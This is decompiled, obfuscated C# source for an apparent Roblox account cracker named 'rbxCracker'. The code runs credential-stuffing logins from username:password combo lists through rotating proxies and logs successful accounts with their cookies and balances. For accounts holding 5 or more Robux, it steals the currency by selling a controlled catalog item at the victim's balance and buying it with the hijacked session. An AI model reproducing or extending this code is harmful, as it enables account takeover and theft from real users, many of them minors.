- }
- else
- {
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "[Bad] - ",
- string_0,
- ":",
- string_1,
- " - Unsafe Input."
- }));
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.DarkRed, "[Captcha] - " + string_0 + ":" + string_1);
- flag2 = true;
- CCMDictionary.SafeCompressedStackHandle++;
- num++;
- }
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "[Bad] - " + string_0 + ":" + string_1);
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- }
- else
- {
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "[Bad] - ",
- string_0,
- ":",
- string_1,
- " - Account has been deleted."
- }));
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- }
- else
- {
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "[Bad] - ",
- string_0,
- ":",
- string_1,
- " - Account has Two Step Verification."
- }));
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- }
- else if (!httpRequest.Cookies.ToString().Contains("ROBLOSECURITY"))
- {
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "[Bad] - ",
- string_0,
- ":",
- string_1,
- " - Coultn't obtain good cookie."
- }));
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- else
- {
- cookieDictionary = httpRequest.Cookies;
- string[] array = CCMDictionary.IEnumerator(cookieDictionary);
- if (!(array[0] == "0"))
- {
- if (!(array[0] == "1"))
- {
- int num2 = CCMDictionary.BinaryReader(cookieDictionary);
- CCMDictionary.ISymbolVariable(ConsoleColor.DarkYellow, "[Found] " + Convert.ToString(num2) + " Robux - Preparing to send!");
- if (num2 < 5)
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Green, "[Good] - Account has less than 5 robux.");
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- else
- {
- string text2 = CCMDictionary.MethodImplAttribute[Convert.ToInt32(long_0) % CCMDictionary.MethodImplAttribute.Count].Trim();
- if (Regex.IsMatch(text2, "^\\d+$"))
- {
- CCMDictionary.OperationCanceledException++;
- CCMDictionary.KeyedCollection2++;
- flag = true;
- CCMDictionary.CalendarTable += num2;
- CCMDictionary.EncoderFallback(num2, text2);
- CCMDictionary.Predicate1(cookieDictionary, num2, text2);
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - Product ID not in valid format.");
- CCMDictionary.SafeCompressedStackHandle++;
- num++;
- }
- }
- }
- else
- {
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "[Bad] - ",
- string_0,
- ":",
- string_1,
- " - Account has been deleted."
- }));
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- }
- else
- {
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "[Bad] - ",
- string_0,
- ":",
- string_1,
- " - Coultn't obtain account information."
- }));
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- }
- }
- goto IL_1171;
- }
- catch (HttpException ex)
- {
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Magenta, SoapNmtokens.StreamTokenReader(new object[]
- {
- "[Error] - ",
- ex.Status,
- " - ",
- string_0,
- ":",
- string_1
- }));
- CCMDictionary.SafeCompressedStackHandle++;
- num++;
- goto IL_1171;
- }
- goto IL_1137;
- }
- if (CCMDictionary.HostExecutionContextSwitcher.Count != 0)
- {
- string text3 = CCMDictionary.HostExecutionContextSwitcher[CCMDictionary.ICollection1.Next(0, CCMDictionary.HostExecutionContextSwitcher.Count)];
- CookieDictionary cookieDictionary2 = new CookieDictionary(false);
- if (text3 == "" || !text3.Contains(":"))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - Bad proxy format.");
- CCMDictionary.SafeCompressedStackHandle++;
- goto IL_1171;
- }
- try
- {
- using (HttpRequest httpRequest2 = new HttpRequest())
- {
- httpRequest2.UserAgent = CCMDictionary.Nullable1();
- if (CCMDictionary.TargetParameterCountException == "http")
- {
- httpRequest2.Proxy = HttpProxyClient.Parse(text3);
- }
- else if (CCMDictionary.TargetParameterCountException == "socks4")
- {
- httpRequest2.Proxy = Socks4ProxyClient.Parse(text3);
- }
- else if (CCMDictionary.TargetParameterCountException == "socks5")
- {
- httpRequest2.Proxy = Socks5ProxyClient.Parse(text3);
- }
- httpRequest2.AllowAutoRedirect = false;
- httpRequest2.Cookies = cookieDictionary2;
- httpRequest2.ConnectTimeout = 5000;
- httpRequest2.ReadWriteTimeout = 5000;
- httpRequest2.AddField("username", string_0).AddField("password", string_1);
- string text4 = httpRequest2.Post("https://www.roblox.com/newlogin").ToString();
- if (text4.Contains("/home?Nl=true"))
- {
- if (httpRequest2.Cookies.ToString().Contains("ROBLOSECURITY"))
- {
- cookieDictionary2 = httpRequest2.Cookies;
- string[] array2 = CCMDictionary.IEnumerator(cookieDictionary2);
- if (array2[0] == "0")
- {
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "[Bad] - ",
- string_0,
- ":",
- string_1,
- " - Coultn't obtain account information."
- }));
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- else if (!(array2[0] == "1"))
- {
- int num3 = CCMDictionary.BinaryReader(cookieDictionary2);
- CCMDictionary.ISymbolVariable(ConsoleColor.DarkYellow, "[Found] " + Convert.ToString(num3) + " Robux - Preparing to send!");
- if (num3 >= 5)
- {
- string text5 = CCMDictionary.MethodImplAttribute[Convert.ToInt32(long_0) % CCMDictionary.MethodImplAttribute.Count].Trim();
- if (Regex.IsMatch(text5, "^\\d+$"))
- {
- CCMDictionary.OperationCanceledException++;
- CCMDictionary.KeyedCollection2++;
- flag = true;
- CCMDictionary.CalendarTable += num3;
- CCMDictionary.EncoderFallback(num3, text5);
- CCMDictionary.Predicate1(cookieDictionary2, num3, text5);
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - Product ID not in valid format.");
- CCMDictionary.SafeCompressedStackHandle++;
- num++;
- }
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Green, "[Good] - Account has less than 5 robux.");
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- }
- else
- {
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "[Bad] - ",
- string_0,
- ":",
- string_1,
- " - Account has been deleted."
- }));
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- }
- else
- {
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "[Bad] - ",
- string_0,
- ":",
- string_1,
- " - Coultn't obtain good cookie."
- }));
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- }
- else if (text4.Contains("/login/twostepverification") && !text4.Contains("twoStepVerificationPageUrl"))
- {
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "[Bad] - ",
- string_0,
- ":",
- string_1,
- " - Account has Two Step Verification."
- }));
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- else if (!text4.Contains("NotApproved.aspx"))
- {
- if (text4.Contains("/Login/SecurityNotification"))
- {
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "[Bad] - ",
- string_0,
- ":",
- string_1,
- " - Security notification received."
- }));
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- else if (text4.Contains("Your username or password is incorrect. Please check them and try again."))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "[Bad] - " + string_0 + ":" + string_1);
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- else if (text4.Contains("The words you typed didn't match the picture. Please try again."))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.DarkRed, "[Captcha] - " + string_0 + ":" + string_1);
- if (!CCMDictionary.BinaryMethodReturnMessage)
- {
- CCMDictionary.HostExecutionContextSwitcher.Remove(text3);
- }
- CCMDictionary.SafeCompressedStackHandle++;
- num++;
- }
- else if (text4.Contains("request-error"))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "[Bad] - " + string_0 + ":" + string_1);
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- else if (!text4.Contains("UnsafeInput.aspx"))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.DarkMagenta, "[Unknown] - " + string_0 + ":" + string_1);
- CCMDictionary.SafeCompressedStackHandle++;
- }
- else
- {
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "[Bad] - ",
- string_0,
- ":",
- string_1,
- " - Unsafe Input."
- }));
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- }
- else
- {
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "[Bad] - ",
- string_0,
- ":",
- string_1,
- " - Account has been deleted."
- }));
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- }
- goto IL_1171;
- }
- catch (HttpException ex2)
- {
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Magenta, SoapNmtokens.StreamTokenReader(new object[]
- {
- "[Error] - ",
- ex2.Status,
- " - ",
- text3,
- " - ",
- string_0,
- ":",
- string_1
- }));
- if (!CCMDictionary.BinaryMethodReturnMessage)
- {
- CCMDictionary.HostExecutionContextSwitcher.Remove(text3);
- }
- CCMDictionary.SafeCompressedStackHandle++;
- num++;
- goto IL_1171;
- }
- }
- CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - No proxies available - " + string_0 + ":" + string_1);
- CCMDictionary.KeyedCollection2++;
- flag = true;
- IL_1171:
- Console.Title = MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "rbxCracker [Threads: ",
- CspAlgorithmType.SafeLsaMemoryHandle((CCMDictionary.MethodImplAttribute.Count > 0) ? CCMDictionary.MethodImplAttribute.Count : 1),
- "] [Combo: ",
- Convert.ToString(CCMDictionary.KeyedCollection2),
- "/",
- Convert.ToString(CCMDictionary.IdentityNotMappedException.Count),
- "] [Proxies: ",
- Convert.ToString(CCMDictionary.HostExecutionContextSwitcher.Count),
- "] [Hits: ",
- Convert.ToString(CCMDictionary.OperationCanceledException),
- "] [Robux Sent: ",
- Convert.ToString(CCMDictionary.CalendarTable),
- "] [Retries: ",
- Convert.ToString(CCMDictionary.SafeCompressedStackHandle),
- "]"
- });
- continue;
- IL_1137:
- CCMDictionary.ISymbolVariable(ConsoleColor.Yellow, "[Failed] - " + string_0 + ":" + string_1);
- CCMDictionary.KeyedCollection2++;
- flag = true;
- goto IL_1171;
- }
- CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - Bad combo given.");
- flag = true;
- CCMDictionary.KeyedCollection2++;
- }
- }
- // Token: 0x06000076 RID: 118
- private static void IsolationInterop(string string_0, string string_1)
- {
- bool flag = false;
- int num = 0;
- if (!(string_0 == "") && (string_0 != null || !(string_1 == "")) && string_1 != null)
- {
- do
- {
- if (num < 5 || CCMDictionary.SpecialNameAttribute)
- {
- if (CCMDictionary.HostExecutionContextSwitcher.Count != 0)
- {
- string text = CCMDictionary.HostExecutionContextSwitcher[CCMDictionary.ICollection1.Next(0, CCMDictionary.HostExecutionContextSwitcher.Count)];
- CookieDictionary cookieDictionary = new CookieDictionary(false);
- if (!(text == "") && text.Contains(":"))
- {
- try
- {
- using (HttpRequest httpRequest = new HttpRequest())
- {
- httpRequest.UserAgent = CCMDictionary.Nullable1();
- if (CCMDictionary.TargetParameterCountException == "http")
- {
- httpRequest.Proxy = HttpProxyClient.Parse(text);
- }
- else if (CCMDictionary.TargetParameterCountException == "socks4")
- {
- httpRequest.Proxy = Socks4ProxyClient.Parse(text);
- }
- else if (CCMDictionary.TargetParameterCountException == "socks5")
- {
- httpRequest.Proxy = Socks5ProxyClient.Parse(text);
- }
- httpRequest.AllowAutoRedirect = false;
- httpRequest.Cookies = cookieDictionary;
- httpRequest.ConnectTimeout = 5000;
- httpRequest.ReadWriteTimeout = 5000;
- httpRequest.AddField("username", string_0).AddField("password", string_1);
- string text2 = httpRequest.Post("https://api.roblox.com/v2/login").ToString();
- if (text2.Contains("userId"))
- {
- if (httpRequest.Cookies.ToString().Contains("ROBLOSECURITY"))
- {
- cookieDictionary = httpRequest.Cookies;
- string[] array = CCMDictionary.IEnumerator(cookieDictionary);
- if (array[0] == "0")
- {
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- else if (array[0] == "1")
- {
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- else
- {
- string[] array2 = CCMDictionary.Debugger(cookieDictionary, string_0 + ":" + string_1, false);
- string text3 = (array2[1] == "Yes") ? CCMDictionary.AppDomainManagerInitializationOptions(array[0]) : array2[1];
- string text4 = CCMDictionary.ISymbolNamespace(cookieDictionary);
- string text5 = new HttpRequest().Get("https://proxies24.com/rbxCrack/rap.php?id=" + array[0], null).ToString();
- string string_2 = new HttpRequest().Get("https://proxies24.com/rbxCrack/collectibles.php?id=" + array[0], null).ToString();
- int num2;
- if (int.TryParse(text5, out num2))
- {
- CCMDictionary.CATEGORY = CCMDictionary.CATEGORY;
- }
- CCMDictionary.UIPermissionAttribute(string_0 + ":" + string_1, array[1], array2[0], text5, text3, array[2], text4, string_2, false);
- Console.WriteLine("[Good] - ", new object[]
- {
- string_0,
- ":",
- string_1,
- " - Verified: ",
- array[1],
- " - Robux: ",
- array2[0],
- " - RAP: ",
- text5,
- " - Builders Club: ",
- text3,
- " - Over 13: ",
- array[2],
- " - Joined: ",
- text4
- });
- CCMDictionary.OperationCanceledException++;
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- }
- else
- {
- Console.WriteLine(new string[]
- {
- "[Bad] - ",
- string_0,
- ":",
- string_1,
- " - Coultn't obtain good cookie."
- });
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- CCMDictionary.SafeCertContextHandle.WriteLine(string_0 + ":" + string_1);
- }
- else if (text2.Contains("/login/twostepverification") && !text2.Contains("twoStepVerificationPageUrl"))
- {
- Console.WriteLine("[Bad] - ", new object[]
- {
- string_0,
- ":",
- string_1,
- " - Account has Two Step Verification."
- });
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- else if (text2.Contains("NotApproved.aspx"))
- {
- Console.WriteLine("[Bad] - ", new object[]
- {
- string_0,
- ":",
- string_1,
- " - Account has been deleted."
- });
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- else if (text2.Contains("/Login/SecurityNotification"))
- {
- Console.WriteLine("[Bad] - ", new object[]
- {
- string_0,
- ":",
- string_1,
- " - Security notification received."
- });
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- else if (text2.Contains("Your username or password is incorrect. Please check them and try again."))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "[Bad] - " + string_0 + ":" + string_1);
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- else if (text2.Contains("The words you typed didn't match the picture. Please try again."))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.DarkRed, "[Captcha] - " + string_0 + ":" + string_1);
- if (!CCMDictionary.BinaryMethodReturnMessage)
- {
- CCMDictionary.HostExecutionContextSwitcher.Remove(text);
- }
- CCMDictionary.SafeCompressedStackHandle++;
- num++;
- }
- else if (text2.Contains("request-error"))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "[Bad] - " + string_0 + ":" + string_1);
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- else if (!text2.Contains("UnsafeInput.aspx"))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.DarkMagenta, "[Unknown] - " + string_0 + ":" + string_1);
- CCMDictionary.SafeCompressedStackHandle++;
- }
- else
- {
- Console.WriteLine("[Bad] - ", new object[]
- {
- string_0,
- ":",
- string_1,
- " - Unsafe Input."
- });
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- }
- goto IL_66F;
- }
- catch (HttpException ex)
- {
- Console.WriteLine("[Error] - ", new object[]
- {
- ex.Status,
- " - ",
- text,
- " - ",
- string_0,
- ":",
- string_1
- });
- if (!CCMDictionary.BinaryMethodReturnMessage)
- {
- CCMDictionary.HostExecutionContextSwitcher.Remove(text);
- }
- CCMDictionary.SafeCompressedStackHandle++;
- num++;
- goto IL_66F;
- }
- }
- CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - Bad proxy format.");
- CCMDictionary.SafeCompressedStackHandle++;
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - No proxies available - " + string_0 + ":" + string_1);
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Yellow, "[Failed] - " + string_0 + ":" + string_1);
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- IL_66F:
- Console.Title = string.Format("rbxCracker [Threads: ", new object[]
- {
- Convert.ToString(CCMDictionary.IContextProperty),
- "] [Combo: ",
- Convert.ToString(CCMDictionary.KeyedCollection2),
- "/",
- Convert.ToString(CCMDictionary.IdentityNotMappedException.Count),
- "] [Proxies: ",
- Convert.ToString(CCMDictionary.HostExecutionContextSwitcher.Count),
- "] [Hits: ",
- Convert.ToString(CCMDictionary.OperationCanceledException),
- "] [Robux: ",
- Convert.ToString(CCMDictionary.CalendarTable),
- "] [RAP: ",
- Convert.ToString(CCMDictionary.CATEGORY),
- "] [BC: ",
- Convert.ToString(CCMDictionary.EventWaitHandleRights),
- "] [Retries: ",
- Convert.ToString(CCMDictionary.SafeCompressedStackHandle),
- "]"
- });
- }
- while (!flag);
- return;
- }
- CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - Bad combo given.");
- flag = true;
- CCMDictionary.KeyedCollection2++;
- }
- // Token: 0x06000077 RID: 119 RVA: 0x000126F0 File Offset: 0x000108F0
- private static string ISymbolNamespace(CookieDictionary cookieDictionary_0)
- {
- <Module>.ReadDelegate(4);
- string result;
- using (HttpRequest httpRequest = new HttpRequest())
- {
- httpRequest.UserAgent = Http.FirefoxUserAgent();
- httpRequest.Cookies = cookieDictionary_0;
- string text = httpRequest.Get("https://www.roblox.com/users/profile", null).ToString();
- if (text.Contains("Join Date"))
- {
- result = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text, new string[]
- {
- "Join Date<p class=text-lead>"
- }, StringSplitOptions.None)[1], new string[]
- {
- "<"
- }, StringSplitOptions.None)[0];
- }
- else
- {
- result = "NULL";
- }
- }
- return result;
- }
- // Token: 0x06000078 RID: 120 RVA: 0x000127D8 File Offset: 0x000109D8
- private static string[] IEnumerator(CookieDictionary cookieDictionary_0)
- {
- <Module>.ReadDelegate(5);
- string[] result;
- using (HttpRequest httpRequest = new HttpRequest())
- {
- httpRequest.AllowAutoRedirect = false;
- httpRequest.UserAgent = Http.FirefoxUserAgent();
- httpRequest.Cookies = cookieDictionary_0;
- string text = httpRequest.Get("https://www.roblox.com/my/account/json", null).ToString();
- if (text.Contains("/NewLogin"))
- {
- string[] array = new string[]
- {
- "0",
- "No",
- "No"
- };
- result = array;
- }
- else if (text.Contains("NotApproved"))
- {
- string[] array2 = new string[]
- {
- "1",
- "No",
- "No"
- };
- result = array2;
- }
- else
- {
- string text2 = "0";
- if (text.Contains("UserId"))
- {
- text2 = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text, new string[]
- {
- "UserId\":"
- }, StringSplitOptions.None)[1], new string[]
- {
- ","
- }, StringSplitOptions.None)[0];
- }
- string a = "No";
- if (text.Contains("IsEmailVerified"))
- {
- a = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text, new string[]
- {
- "IsEmailVerified\":"
- }, StringSplitOptions.None)[1], new string[]
- {
- ","
- }, StringSplitOptions.None)[0];
- }
- string a2 = "No";
- if (text.Contains("UserAbove13"))
- {
- a2 = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text, new string[]
- {
- "UserAbove13\":"
- }, StringSplitOptions.None)[1], new string[]
- {
- "}"
- }, StringSplitOptions.None)[0];
- }
- string[] array3 = new string[]
- {
- text2,
- (a == "true") ? "Yes" : "No",
- (a2 == "true") ? "Yes" : "No"
- };
- result = array3;
- }
- }
- return result;
- }
- // Token: 0x06000079 RID: 121 RVA: 0x00012AB8 File Offset: 0x00010CB8
- private static int BinaryReader(CookieDictionary cookieDictionary_0)
- {
- int result;
- using (HttpRequest httpRequest = new HttpRequest())
- {
- httpRequest.UserAgent = Http.FirefoxUserAgent();
- httpRequest.Cookies = cookieDictionary_0;
- int num = 0;
- string text = httpRequest.Get("https://www.roblox.com/mobileapi/userinfo?nl=true", null).ToString();
- if (text.Contains("RobuxBalance"))
- {
- num = AssemblyMetadata.LogSwitch(WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text, new string[]
- {
- "RobuxBalance\":"
- }, StringSplitOptions.None)[1], new string[]
- {
- ","
- }, StringSplitOptions.None)[0]);
- }
- result = num;
- }
- return result;
- }
- // Token: 0x0600007A RID: 122 RVA: 0x00012BA4 File Offset: 0x00010DA4
- private static string ReflectionTypeLoadException(string string_0)
- {
- <Module>.ReadDelegate(6);
- string result;
- using (HttpRequest httpRequest = new HttpRequest())
- {
- httpRequest.UserAgent = Http.FirefoxUserAgent();
- string object_ = httpRequest.Get("https://rbx.rocks/apis/user_items?u=" + string_0, null).ToString();
- result = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
- {
- "RAP\":\""
- }, StringSplitOptions.None)[1], new string[]
- {
- "\""
- }, StringSplitOptions.None)[0];
- }
- return result;
- }
- // Token: 0x0600007B RID: 123 RVA: 0x00012C70 File Offset: 0x00010E70
- private static string AppDomainManagerInitializationOptions(string string_0)
- {
- <Module>.ReadDelegate(7);
- string text = new HttpRequest().Get("https://www.roblox.com/users/" + string_0 + "/profile", null).ToString();
- CCMDictionary.EventWaitHandleRights++;
- return text.Contains("icon-bc") ? "BC" : (text.Contains("icon-obc") ? "OBC" : (text.Contains("icon-tbc") ? "TBC" : "No"));
- }
- // Token: 0x0600007C RID: 124 RVA: 0x00012D10 File Offset: 0x00010F10
- private static string[] Debugger(CookieDictionary cookieDictionary_0, string string_0, bool bool_0)
- {
- <Module>.ReadDelegate(8);
- string[] result;
- using (HttpRequest httpRequest = new HttpRequest())
- {
- httpRequest.UserAgent = Http.FirefoxUserAgent();
- httpRequest.Cookies = cookieDictionary_0;
- string object_ = httpRequest.Get("https://www.roblox.com/mobileapi/userinfo?nl=true", null).ToString();
- string text = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
- {
- "RobuxBalance\":"
- }, StringSplitOptions.None)[1], new string[]
- {
- ","
- }, StringSplitOptions.None)[0];
- string a = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
- {
- "IsAnyBuildersClubMember\":"
- }, StringSplitOptions.None)[1], new string[]
- {
- "}"
- }, StringSplitOptions.None)[0];
- string[] array = new string[]
- {
- text,
- (a == "true") ? "Yes" : "No"
- };
- if (Convert.ToInt32(text) > 0)
- {
- if (!bool_0)
- {
- CCMDictionary.CalendarTable += Convert.ToInt32(text);
- }
- if (Convert.ToInt32(text) > 5 && !bool_0)
- {
- try
- {
- CCMDictionary.ArraySortHelper2.WriteLine(string_0);
- }
- catch (Exception)
- {
- }
- }
- }
- result = array;
- }
- return result;
- }
- // Token: 0x0600007D RID: 125 RVA: 0x00012F00 File Offset: 0x00011100
- private static void EncoderFallback(int int_0, string string_0)
- {
- <Module>.ReadDelegate(9);
- using (HttpRequest httpRequest = new HttpRequest())
- {
- httpRequest.UserAgent = CCMDictionary.Nullable1();
- httpRequest.Cookies = CCMDictionary.SearchData;
- string object_ = httpRequest.Get("https://www.roblox.com/my/item.aspx?id=" + string_0, null).ToString();
- string value = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
- {
- "__VIEWSTATE\" value=\""
- }, StringSplitOptions.None)[1], new string[]
- {
- "\""
- }, StringSplitOptions.None)[0];
- string value2 = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
- {
- "__VIEWSTATEGENERATOR\" value=\""
- }, StringSplitOptions.None)[1], new string[]
- {
- "\""
- }, StringSplitOptions.None)[0];
- string value3 = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
- {
- "__EVENTVALIDATION\" value=\""
- }, StringSplitOptions.None)[1], new string[]
- {
- "\""
- }, StringSplitOptions.None)[0];
- string value4 = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
- {
- "NameTextBox\" type=\"text\" value=\""
- }, StringSplitOptions.None)[1], new string[]
- {
- "\""
- }, StringSplitOptions.None)[0];
- httpRequest.UserAgent = CCMDictionary.Nullable1();
- httpRequest.Cookies = CCMDictionary.SearchData;
- httpRequest.AddParam("__EVENTTARGET", "ctl00$cphRoblox$SubmitButtonBottom");
- httpRequest.AddParam("__EVENTARGUMENT", "");
- httpRequest.AddParam("__VIEWSTATE", value);
- httpRequest.AddParam("__VIEWSTATEGENERATOR", value2);
- httpRequest.AddParam("__EVENTVALIDATION", value3);
- httpRequest.AddParam("ctl00$cphRoblox$SellThisItemCheckBox", "on");
- httpRequest.AddParam("ctl00$cphRoblox$SellForRobux", "on");
- httpRequest.AddParam("ctl00$cphRoblox$NameTextBox", value4);
- httpRequest.AddParam("ctl00$cphRoblox$DescriptionTextBox=", "");
- httpRequest.AddParam("ctl00$cphRoblox$RobuxPrice", Convert.ToString(int_0));
- httpRequest.AddParam("ctl00$cphRoblox$EnableCommentsCheckBox", "on");
- httpRequest.AddParam("GenreButtons2", "1");
- httpRequest.AddParam("ctl00$cphRoblox$actualGenreSelection", "1");
- httpRequest.Post("https://www.roblox.com/my/item.aspx?id=" + string_0).None();
- }
- }
- // Token: 0x0600007E RID: 126 RVA: 0x00013218 File Offset: 0x00011418
- private static void SponsorState(CookieDictionary cookieDictionary_0)
- {
- <Module>.ReadDelegate(10);
- using (HttpRequest httpRequest = new HttpRequest())
- {
- httpRequest.UserAgent = Http.FirefoxUserAgent();
- httpRequest.Cookies = cookieDictionary_0;
- string object_ = httpRequest.Get("https://www.roblox.com/catalog/" + CCMDictionary.DictionaryEnumeratorByKeys, null).ToString();
- string value = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
- {
- "setToken('"
- }, StringSplitOptions.None)[1], new string[]
- {
- "'"
- }, StringSplitOptions.None)[0];
- httpRequest.UserAgent = Http.FirefoxUserAgent();
- httpRequest.Cookies = cookieDictionary_0;
- httpRequest.AddHeader("X-CSRF-TOKEN", value);
- httpRequest.AddParam("assetId", CCMDictionary.DictionaryEnumeratorByKeys);
- httpRequest.Post("https://www.roblox.com/asset/delete-from-inventory").None();
- }
- }
- // Token: 0x0600007F RID: 127 RVA: 0x00013340 File Offset: 0x00011540
- private static void Predicate1(CookieDictionary cookieDictionary_0, int int_0, string string_0)
- {
- <Module>.ReadDelegate(11);
- using (HttpRequest httpRequest = new HttpRequest())
- {
- httpRequest.UserAgent = Http.FirefoxUserAgent();
- httpRequest.Cookies = cookieDictionary_0;
- string object_ = httpRequest.Get("https://www.roblox.com/catalog/" + string_0, null).ToString();
- string text = IRemotingFormatter.ObjectMap(WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
- {
- "data-product-id="
- }, StringSplitOptions.None)[1], new string[]
- {
- " "
- }, StringSplitOptions.None)[0], "\"", "");
- string text2 = IRemotingFormatter.ObjectMap(WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
- {
- "data-expected-price="
- }, StringSplitOptions.None)[1], new string[]
- {
- " "
- }, StringSplitOptions.None)[0], "\"", "");
- string text3 = IRemotingFormatter.ObjectMap(WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
- {
- "data-expected-seller-id="
- }, StringSplitOptions.None)[1], new string[]
- {
- " "
- }, StringSplitOptions.None)[0], "\"", "");
- string value = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
- {
- "setToken('"
- }, StringSplitOptions.None)[1], new string[]
- {
- "'"
- }, StringSplitOptions.None)[0];
- if (Convert.ToInt32(text2) <= int_0)
- {
- httpRequest.UserAgent = Http.FirefoxUserAgent();
- httpRequest.Cookies = cookieDictionary_0;
- httpRequest.AddHeader("X-CSRF-TOKEN", value);
